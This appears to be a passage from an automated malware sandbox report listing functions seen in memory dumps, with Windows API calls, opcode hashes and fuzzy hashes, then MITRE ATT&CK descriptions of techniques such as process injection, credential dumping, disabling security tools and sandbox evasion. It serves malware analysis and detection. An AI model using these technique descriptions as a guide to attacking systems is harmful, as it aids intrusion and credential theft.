Opcode Fuzzy Hash: f1cacb2eecf1ba4919e6307fe9e5b6e8c50a5c1dbfa88a329a1683df41b9b753
Instruction Fuzzy Hash: 3C51CDB1D00309DFDB14CF99C884ADEBBB1FF49314F20852AE819AB210D775A985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1DBD67F8, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 1DBD690A

Memory Dump Source

Source File: 00000009.00000002.5658878749.000000001DBD0000.00000040.00000001.sdmp, Offset: 1DBD0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: b71923f0248ccee428e36c5395c6b75f95c5ee98cdfe6db81ee0ec66e9be01b9
Instruction ID: 1952e123692936c22354cb2d367b3c0756f7d25ea8837d3479df8626bbc280db
Opcode Fuzzy Hash: b71923f0248ccee428e36c5395c6b75f95c5ee98cdfe6db81ee0ec66e9be01b9
Instruction Fuzzy Hash: 4841AFB1D00309DFDB14CF99C884ADEBBB5FF48314F24852AE819AB250D775A985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1DBDA144, Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 1DBDB4E9

Memory Dump Source

Source File: 00000009.00000002.5658878749.000000001DBD0000.00000040.00000001.sdmp, Offset: 1DBD0000, based on PE: false

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 38811571d3987d101f14b136bf3fbd413de16be9fd264057cffd028344a56db3
Instruction ID: 1ee11ffee8f4501011a6aae0c4fd785af6c186d5b3bef58da77a30ad9a42e71b
Opcode Fuzzy Hash: 38811571d3987d101f14b136bf3fbd413de16be9fd264057cffd028344a56db3
Instruction Fuzzy Hash: 8A4169B4A007098FDB50CF99C488BAABBF5FF89718F15C449D519AB321C334A941CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FE8C, Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(498F7808,467180AD), ref: 00D0FFC9

Memory Dump Source

Source File: 00000009.00000002.5632391081.0000000000D0F000.00000040.00000001.sdmp, Offset: 00D0F000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 44c61fa714b362dd65a408a876e783f891db5b0cb36b5c98242922c8320f9895
Instruction ID: 7f845703980d35cac2b35f67e569e1bce28af6eef7f818e1a386610774c8e741
Opcode Fuzzy Hash: 44c61fa714b362dd65a408a876e783f891db5b0cb36b5c98242922c8320f9895
Instruction Fuzzy Hash: 3A3165726043565BCB619F3089843DA7BA3AFA7750F6A4569CC88CBA49D3328889C711

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FE7E, Relevance: 1.6, APIs: 1, Instructions: 92threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(498F7808,467180AD), ref: 00D0FFC9

Memory Dump Source

Source File: 00000009.00000002.5632391081.0000000000D0F000.00000040.00000001.sdmp, Offset: 00D0F000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: e4864821fa98b288f873b4f7e72eca2aefdcf4102cde8e319430ec2a3f828489
Instruction ID: ac90f22a32cdd56c3a2add567639eb496ae8808997055f483d29af8615315f2f
Opcode Fuzzy Hash: e4864821fa98b288f873b4f7e72eca2aefdcf4102cde8e319430ec2a3f828489
Instruction Fuzzy Hash: CA319B726443529BCB708F248A443D73BB3AF66750F668126CCCDCB658D736C8898721

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FECD, Relevance: 1.6, APIs: 1, Instructions: 88threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(498F7808,467180AD), ref: 00D0FFC9

Memory Dump Source

Source File: 00000009.00000002.5632391081.0000000000D0F000.00000040.00000001.sdmp, Offset: 00D0F000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 31d26514978426c4c9028936f04e2a4e539513c51d26dd9bf37582d549febe2a
Instruction ID: 80b5f6ce4639957dd1adbc7c53b262ae634b195fa65b1af63568b9101e52841f
Opcode Fuzzy Hash: 31d26514978426c4c9028936f04e2a4e539513c51d26dd9bf37582d549febe2a
Instruction Fuzzy Hash: 8D215572A043965BDB21DF3048943D67FA2AFA7750F664579CC88CBA45C332C889C710

Uniqueness

Uniqueness Score: -1.00%

Function 1CC455A0, Relevance: 1.6, APIs: 1, Instructions: 85registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 1CC45659

Memory Dump Source

Source File: 00000009.00000002.5654885576.000000001CC40000.00000040.00000001.sdmp, Offset: 1CC40000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1eaf43494732bfceeb1cb47c64fdc877dc328c59ba769e009072727445959040
Instruction ID: ec7e0f69e086747d828f4209fbd39dc170444b7f7021e6fe36d8fbfc50cb99bc
Opcode Fuzzy Hash: 1eaf43494732bfceeb1cb47c64fdc877dc328c59ba769e009072727445959040
Instruction Fuzzy Hash: 0131E2B1D012589FCB10CF99C984ADEBBF5BF48314F25842AE819AB710D7309905CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1CC452E8, Relevance: 1.6, APIs: 1, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000000,?,00000001,?), ref: 1CC4539C

Memory Dump Source

Source File: 00000009.00000002.5654885576.000000001CC40000.00000040.00000001.sdmp, Offset: 1CC40000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8ea2c208f24dd90c5021d5ad7b6eab86d70107ef5048e00db5b9382398d06b7b
Instruction ID: 52674e33a9fa32e09fc37f638b0f5abbfba270d0195b10791f9de4a5325ba104
Opcode Fuzzy Hash: 8ea2c208f24dd90c5021d5ad7b6eab86d70107ef5048e00db5b9382398d06b7b
Instruction Fuzzy Hash: E631F2B1D012499FDB00CFA9C588A8EFFF5BF48304F25C56AD809AB341C7759945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FF8F, Relevance: 1.6, APIs: 1, Instructions: 72threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(498F7808,467180AD), ref: 00D0FFC9

Memory Dump Source

Source File: 00000009.00000002.5632391081.0000000000D0F000.00000040.00000001.sdmp, Offset: 00D0F000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: b30c18a28c9005880f4affea796491e34289fc793da3b4d58076f444fe26a3fc
Instruction ID: 0b4e5ccc33d3deaeade5bec3945f3e94b643fd140f85b37d32ca37c9e673a94c
Opcode Fuzzy Hash: b30c18a28c9005880f4affea796491e34289fc793da3b4d58076f444fe26a3fc
Instruction Fuzzy Hash: E0117B31A003A34FDB619B3044547DA7FD2EF53250F6945A8DC88DB956C726C888C751

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FF40, Relevance: 1.6, APIs: 1, Instructions: 68threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(498F7808,467180AD), ref: 00D0FFC9

Memory Dump Source

Source File: 00000009.00000002.5632391081.0000000000D0F000.00000040.00000001.sdmp, Offset: 00D0F000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 30dabad140adc4b45ad3a48799dc745a6a1d5f46a015305a656c7d6a4e767322
Instruction ID: 94d50fe7d3587b16f31ae94df28e4e1f68603f10be9dd321a13c11725e24716b
Opcode Fuzzy Hash: 30dabad140adc4b45ad3a48799dc745a6a1d5f46a015305a656c7d6a4e767322
Instruction Fuzzy Hash: D6117831A046925BDB61EF3044647E6BFA2AF97650F6A45B9CCCCDBA46C322CC89C340

Uniqueness

Uniqueness Score: -1.00%

Function 1DBDA54A, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1DBDA5D7

Memory Dump Source

Source File: 00000009.00000002.5658878749.000000001DBD0000.00000040.00000001.sdmp, Offset: 1DBD0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 86f13c7b7608218042d9dd3dee692ce3525d5bb7743fd1c31b83a2a01f7155da
Instruction ID: 0ef880b9302e88c0b7ba0b857db861f7afe2451b7a752993496be1eaf5c349a3
Opcode Fuzzy Hash: 86f13c7b7608218042d9dd3dee692ce3525d5bb7743fd1c31b83a2a01f7155da
Instruction Fuzzy Hash: 9621D2B5D00248AFDB10CFA9D884AEEFBF4EB49314F14841AE915A7310D774AA54CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 1DBD5721, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 1DBD57B6

Memory Dump Source

Source File: 00000009.00000002.5658878749.000000001DBD0000.00000040.00000001.sdmp, Offset: 1DBD0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 058184c88af1e0629dd8ec42e6424028ad61d901cf0cc5419e44f3aeb5478ee1
Instruction ID: 704a53c58d3fd3c89f3217a7349cfc54bc926169044a4223694aa2e3b95db839
Opcode Fuzzy Hash: 058184c88af1e0629dd8ec42e6424028ad61d901cf0cc5419e44f3aeb5478ee1
Instruction Fuzzy Hash: 8E21BCB1D093898FCB12CFA9C8546DEBFF0EF4A214F05849EC495AB242C374A505CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 1DBDA550, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1DBDA5D7

Memory Dump Source

Source File: 00000009.00000002.5658878749.000000001DBD0000.00000040.00000001.sdmp, Offset: 1DBD0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8a265ec0ed652938fb53833300ca503fc495535c05f0a729573d34bbe33de172
Instruction ID: 8c71785bff1d0fc76492dfe6b2d40e45dd745c7ab28cbfcd008afce5bb53044e
Opcode Fuzzy Hash: 8a265ec0ed652938fb53833300ca503fc495535c05f0a729573d34bbe33de172
Instruction Fuzzy Hash: A121C4B5D002489FDB10CFA9D884ADEFBF4FB49314F14841AE915A7310D374AA54CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CA2690, Relevance: 1.6, APIs: 1, Instructions: 57libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00000000,?,00CA2671,00000800), ref: 00CA2702

Memory Dump Source

Source File: 00000009.00000002.5631178390.0000000000CA0000.00000040.00000001.sdmp, Offset: 00CA0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3961dc7ca7c3988a84e50a326e4e8f188c7f16d6e79400d606a9cb25c92eb6a7
Instruction ID: 31ef4bbaa762d0c2c8533f29207a9cca669da6b179c9cefcc3a44ccca518ede8
Opcode Fuzzy Hash: 3961dc7ca7c3988a84e50a326e4e8f188c7f16d6e79400d606a9cb25c92eb6a7
Instruction Fuzzy Hash: 6E1144B6D002198FCB10CFAAC844BDEFBF4EB49314F14852AD824A7600C374AA45CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1CC4E320, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

FindWindowW.USER32(00000000,00000000), ref: 1CC4FB36

Memory Dump Source

Source File: 00000009.00000002.5654885576.000000001CC40000.00000040.00000001.sdmp, Offset: 1CC40000, based on PE: false

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 20be2db7665e73a81c21bd38b5f58d16985b3a807eecb91d585af92fd64904a7
Instruction ID: c3c52135c3496a1e0b91d31404adca230873349fd2e566c28d65856ed1d675aa
Opcode Fuzzy Hash: 20be2db7665e73a81c21bd38b5f58d16985b3a807eecb91d585af92fd64904a7
Instruction Fuzzy Hash: 1D2124B5D0130A8FCB10CF9AC888BDEFBB4FB49210F21852ED419B7600C374A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CA1434, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00000000,?,00CA2671,00000800), ref: 00CA2702

Memory Dump Source

Source File: 00000009.00000002.5631178390.0000000000CA0000.00000040.00000001.sdmp, Offset: 00CA0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ec36162462b64709a401ac4d84ce61a5770bba05769bffa445b940ba04da2543
Instruction ID: 4397a2801f181820a31fc379e609da2d5495dc614dbfa5e89e8f3a8e86489595
Opcode Fuzzy Hash: ec36162462b64709a401ac4d84ce61a5770bba05769bffa445b940ba04da2543
Instruction Fuzzy Hash: EF1114B5D043598FDB10CF9AC848B9EFBF4EB49314F14842AE919A7600C374AA45CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1CC4FABB, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

FindWindowW.USER32(00000000,00000000), ref: 1CC4FB36

Memory Dump Source

Source File: 00000009.00000002.5654885576.000000001CC40000.00000040.00000001.sdmp, Offset: 1CC40000, based on PE: false

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 077dcb931bf529f8098402fb13c0215fbd6ce9547f613958053c4ea41f404ea6
Instruction ID: 209b9950f709c34f6ca06b89a6c290fbb90e690163c1d592820e74a07fe61a5f
Opcode Fuzzy Hash: 077dcb931bf529f8098402fb13c0215fbd6ce9547f613958053c4ea41f404ea6
Instruction Fuzzy Hash: 192106B6D012098FCB00CF99D584ADEFBB4FF4A314F61852ED459B7600C3756945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1CC450C4, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,1CC4A1F2), ref: 1CC4A2DF

Memory Dump Source

Source File: 00000009.00000002.5654885576.000000001CC40000.00000040.00000001.sdmp, Offset: 1CC40000, based on PE: false

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 5fe92f0619a69b39dc2a2e96efb0352b692f85047478d2be79acf11c54f95c19
Instruction ID: 34acd11c5708bf56a8cbf50b5df992adbd34d64b92ff160d07126ac67ee28551
Opcode Fuzzy Hash: 5fe92f0619a69b39dc2a2e96efb0352b692f85047478d2be79acf11c54f95c19
Instruction Fuzzy Hash: 3A1133B1C042199FCB10CFAAC8447AEFBB4AF48210F15852AD818B7240D778AA44CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 1CC4A273, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,1CC4A1F2), ref: 1CC4A2DF

Memory Dump Source

Source File: 00000009.00000002.5654885576.000000001CC40000.00000040.00000001.sdmp, Offset: 1CC40000, based on PE: false

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: dc6b551f12f816796042c81b7fbe43b930155cfc2d3f07b755cdf674d060b9fa
Instruction ID: 53a8e1c6b81149dccb9e5a565e9f9a586cc424a3aa984a88275bc910980af15e
Opcode Fuzzy Hash: dc6b551f12f816796042c81b7fbe43b930155cfc2d3f07b755cdf674d060b9fa
Instruction Fuzzy Hash: A01114B1C002199FCB10CFAAC8447DEFBB4EF49214F15852AD918B7241D778AA45CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01025454, Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01025499

Memory Dump Source

Source File: 00000009.00000002.5634623417.0000000001020000.00000040.00000001.sdmp, Offset: 01020000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3fb23c9ef9e89d027a897a1fe80956fad0ad8640a2a2178446fe59f282c42432
Instruction ID: 0916108caf9203fe6148c7ea66e31f34f628fcb6d6bcf5bdbc09f79472cd914d
Opcode Fuzzy Hash: 3fb23c9ef9e89d027a897a1fe80956fad0ad8640a2a2178446fe59f282c42432
Instruction Fuzzy Hash: A5117C30A01229DFCB24DFA8D899AEDBBB2FF49304F118468D402BB251CB359845CF44

Uniqueness

Uniqueness Score: -1.00%

Function 1DBD37C8, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 1DBD57B6

Memory Dump Source

Source File: 00000009.00000002.5658878749.000000001DBD0000.00000040.00000001.sdmp, Offset: 1DBD0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 9201242f4542eabf2e2b83259011744202b51bfa0b984b6ef43b64468d71002b
Instruction ID: 27b05e136fcc94c08fc49d20729c380f75899df4b26637c8ebce2f2216d3b170
Opcode Fuzzy Hash: 9201242f4542eabf2e2b83259011744202b51bfa0b984b6ef43b64468d71002b
Instruction Fuzzy Hash: C711F0B5D047498FDB10CF9AC444BDEFBF8EB8A214F11841AD82AB7600C374A645CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 00CA57D8, Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00CA66A5

Memory Dump Source

Source File: 00000009.00000002.5631178390.0000000000CA0000.00000040.00000001.sdmp, Offset: 00CA0000, based on PE: false

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 8d51d0f943c6f4e9e3a09c4afc0a6b2f501ab3560c2c6aec2c1530ecc0491598
Instruction ID: d874629549986948c08c7188e6fbee62b71bfd4816b9a907b30be2e290749c9d
Opcode Fuzzy Hash: 8d51d0f943c6f4e9e3a09c4afc0a6b2f501ab3560c2c6aec2c1530ecc0491598
Instruction Fuzzy Hash: F61118B09043498FCB10CF99C448BDEFBF4EB49314F14841AD518A7600C374AA44CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00CA6649, Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00CA66A5

Memory Dump Source

Source File: 00000009.00000002.5631178390.0000000000CA0000.00000040.00000001.sdmp, Offset: 00CA0000, based on PE: false

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 0f39e2fddac1f8ce2eb4044438a582415f13d1f083655841c1d079f7de320342
Instruction ID: 1eb213db4a9154e755ec46f925608258d691c6158971f5634971953377b8d8ae
Opcode Fuzzy Hash: 0f39e2fddac1f8ce2eb4044438a582415f13d1f083655841c1d079f7de320342
Instruction Fuzzy Hash: 7A11F3B5D042498FCB10CFA9D848BDEFBF4EB49328F24891AD518E7610C375AA44CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 1DB9D3D8, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5657498701.000000001DB9D000.00000040.00000001.sdmp, Offset: 1DB9D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3312b5c1214f41f1a6b6aa42433a30e70c68c70ea95d2ad043f51fa3f8ce422b
Instruction ID: 647648d3cc8f4c3444677c9ae45cdd8c17e2ade40c130b62f6e6e703b3822c0b
Opcode Fuzzy Hash: 3312b5c1214f41f1a6b6aa42433a30e70c68c70ea95d2ad043f51fa3f8ce422b
Instruction Fuzzy Hash: 22210AB1504284DFDB0ACF19D9C0B26BB65FB84B24F24C579D90A4B35AC336E456CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 1DB9D4C4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5657498701.000000001DB9D000.00000040.00000001.sdmp, Offset: 1DB9D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50bb3fad18203802edab597229b6de2f1b569c4741dc430f0d12676ae6d64b84
Instruction ID: 5857ed4eee4c568ea77ed1b30fe3df1ac5433e324cc988920997bec0ca965da7
Opcode Fuzzy Hash: 50bb3fad18203802edab597229b6de2f1b569c4741dc430f0d12676ae6d64b84
Instruction Fuzzy Hash: 372128B15042C0DFDB0ADF18D9C0B26BF61FB84728F24C579D90A4B21AC376E415CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1DBAD01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5657822861.000000001DBAD000.00000040.00000001.sdmp, Offset: 1DBAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71eee83327bd2c2e3d80c94d7861d1044221933b174ad950087caecd9db30b96
Instruction ID: 07cabede1c91a408509b98e034c2bce5512af35b70ecb5573f4ba12e24e4ad40
Opcode Fuzzy Hash: 71eee83327bd2c2e3d80c94d7861d1044221933b174ad950087caecd9db30b96
Instruction Fuzzy Hash: 6D21297160C240DFDB21CF28D9D4B16BB61FB84718F24C56DD94A4B246D336D407CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1DBAD006, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5657822861.000000001DBAD000.00000040.00000001.sdmp, Offset: 1DBAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40cdbe5dfb8ce917b9bf16563a4873a395e1d0f819242091859ba94afb6761be
Instruction ID: 20b9b9cf2de47c28ca894b22a08292a92dc38a4f63e110b7d38c19a8cb61da11
Opcode Fuzzy Hash: 40cdbe5dfb8ce917b9bf16563a4873a395e1d0f819242091859ba94afb6761be
Instruction Fuzzy Hash: 59216D755093C08FD712CF24D9A0B15BF71EB46214F28C5EED8498B6A7C33AD80ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 1DB9D4BF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5657498701.000000001DB9D000.00000040.00000001.sdmp, Offset: 1DB9D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1486b0d296c36daeb8d74f3edd178a6dd10f6ce2c1ad349a1a5779086ca586d3
Instruction ID: 200a8ed2f4dbd4ae6e3de892b583f478e030414a15c730027bdccf5d020cc536
Opcode Fuzzy Hash: 1486b0d296c36daeb8d74f3edd178a6dd10f6ce2c1ad349a1a5779086ca586d3
Instruction Fuzzy Hash: 4F11E6B65042C0CFCB05CF14D5C0B16BF71FB84328F24C5AAD8494B616C336D456CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1DB9D3D3, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5657498701.000000001DB9D000.00000040.00000001.sdmp, Offset: 1DB9D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1486b0d296c36daeb8d74f3edd178a6dd10f6ce2c1ad349a1a5779086ca586d3
Instruction ID: 8de219a07eec2629c9099fc74d1de82dc83865bf839d203a945f03d438aa0d93
Opcode Fuzzy Hash: 1486b0d296c36daeb8d74f3edd178a6dd10f6ce2c1ad349a1a5779086ca586d3
Instruction Fuzzy Hash: F011BEB6504280DFDB06CF14D9C0B16BF71FB84724F24C6A9D80A4B716C33AE45ACBA2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
